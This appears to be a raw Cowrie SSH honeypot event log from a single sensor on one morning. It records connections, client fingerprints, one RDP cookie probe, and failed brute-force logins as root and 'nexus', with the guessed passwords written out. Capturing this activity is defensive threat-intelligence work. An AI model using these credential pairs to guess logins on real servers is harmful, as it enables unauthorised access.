{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ba78525cf96","protocol":"ssh","message":"New connection: 43.153.50.197:44472 (10.17.0.5:22) [session: 4ba78525cf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:49.122727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:49.128007Z","src_ip":"43.153.50.197","session":"4ba78525cf96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:49.196338Z","src_ip":"43.153.50.197","session":"4ba78525cf96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234","message":"login attempt [root/admin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:49.498215Z","src_ip":"43.153.50.197","session":"4ba78525cf96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:50.569980Z","src_ip":"43.153.50.197","session":"4ba78525cf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":49202,"dst_ip":"159.203.135.109","dst_port":22,"session":"f43499f4b189","protocol":"ssh","message":"New connection: 62.133.63.178:49202 (159.203.135.109:22) [session: f43499f4b189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:54.664873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:54.669986Z","src_ip":"62.133.63.178","session":"f43499f4b189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:54.794523Z","src_ip":"62.133.63.178","session":"f43499f4b189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456456","message":"login attempt [root/456456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:55.158853Z","src_ip":"62.133.63.178","session":"f43499f4b189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:56.285213Z","src_ip":"62.133.63.178","session":"f43499f4b189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":41680,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea376fdd4d9","protocol":"ssh","message":"New connection: 43.128.112.183:41680 (10.17.0.5:22) [session: aea376fdd4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:57.338384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:57.345261Z","src_ip":"43.128.112.183","session":"aea376fdd4d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:57.582276Z","src_ip":"43.128.112.183","session":"aea376fdd4d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerASDF","message":"login attempt [root/1234qwerASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:58.560460Z","src_ip":"43.128.112.183","session":"aea376fdd4d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:18:59.799638Z","src_ip":"43.128.112.183","session":"aea376fdd4d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":47782,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4c91c0b41a2","protocol":"ssh","message":"New connection: 20.203.59.187:47782 (10.17.0.5:22) [session: e4c91c0b41a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:11.487752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:11.493640Z","src_ip":"20.203.59.187","session":"e4c91c0b41a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:11.655547Z","src_ip":"20.203.59.187","session":"e4c91c0b41a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luca123","message":"login attempt [root/luca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:12.315888Z","src_ip":"20.203.59.187","session":"e4c91c0b41a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:13.476685Z","src_ip":"20.203.59.187","session":"e4c91c0b41a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":41202,"dst_ip":"10.17.0.5","dst_port":22,"session":"19ad4dbbad7c","protocol":"ssh","message":"New connection: 43.173.83.154:41202 (10.17.0.5:22) [session: 19ad4dbbad7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:13.828540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:13.833874Z","src_ip":"43.173.83.154","session":"19ad4dbbad7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:13.902971Z","src_ip":"43.173.83.154","session":"19ad4dbbad7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch!@#","message":"login attempt [root/Netwatch!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:14.210830Z","src_ip":"43.173.83.154","session":"19ad4dbbad7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:15.287261Z","src_ip":"43.173.83.154","session":"19ad4dbbad7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59090,"dst_ip":"159.203.135.109","dst_port":22,"session":"650c917a38d6","protocol":"ssh","message":"New connection: 152.42.212.128:59090 (159.203.135.109:22) [session: 650c917a38d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:19.749905Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:19.754866Z","src_ip":"152.42.212.128","session":"650c917a38d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:19.758796Z","src_ip":"152.42.212.128","session":"650c917a38d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":34026,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8e7206f8c49","protocol":"ssh","message":"New connection: 190.119.63.98:34026 (10.17.0.5:22) [session: b8e7206f8c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:28.770625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:28.775516Z","src_ip":"190.119.63.98","session":"b8e7206f8c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:28.924616Z","src_ip":"190.119.63.98","session":"b8e7206f8c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!@","message":"login attempt [root/abcd!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:29.609677Z","src_ip":"190.119.63.98","session":"b8e7206f8c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:30.741806Z","src_ip":"190.119.63.98","session":"b8e7206f8c49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":56964,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eda8b146064","protocol":"ssh","message":"New connection: 89.223.127.55:56964 (10.17.0.5:22) [session: 2eda8b146064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:33.314148Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57448,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc14f93048af","protocol":"ssh","message":"New connection: 193.32.162.151:57448 (159.203.135.109:22) [session: bc14f93048af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:47.541241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:47.546464Z","src_ip":"193.32.162.151","session":"bc14f93048af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:47.652809Z","src_ip":"193.32.162.151","session":"bc14f93048af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"12345678","message":"login attempt [nexus/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:47.973928Z","src_ip":"193.32.162.151","session":"bc14f93048af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:49.084188Z","src_ip":"193.32.162.151","session":"bc14f93048af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":42474,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ec5a738345c","protocol":"ssh","message":"New connection: 43.153.56.192:42474 (10.17.0.5:22) [session: 8ec5a738345c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:49.853422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:49.858065Z","src_ip":"43.153.56.192","session":"8ec5a738345c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:49.925491Z","src_ip":"43.153.56.192","session":"8ec5a738345c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpass1","message":"login attempt [root/newpass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:50.228574Z","src_ip":"43.153.56.192","session":"8ec5a738345c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:19:51.299776Z","src_ip":"43.153.56.192","session":"8ec5a738345c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":47636,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b5311d01f5","protocol":"ssh","message":"New connection: 43.153.50.197:47636 (10.17.0.5:22) [session: 78b5311d01f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:20:02.092673Z"}
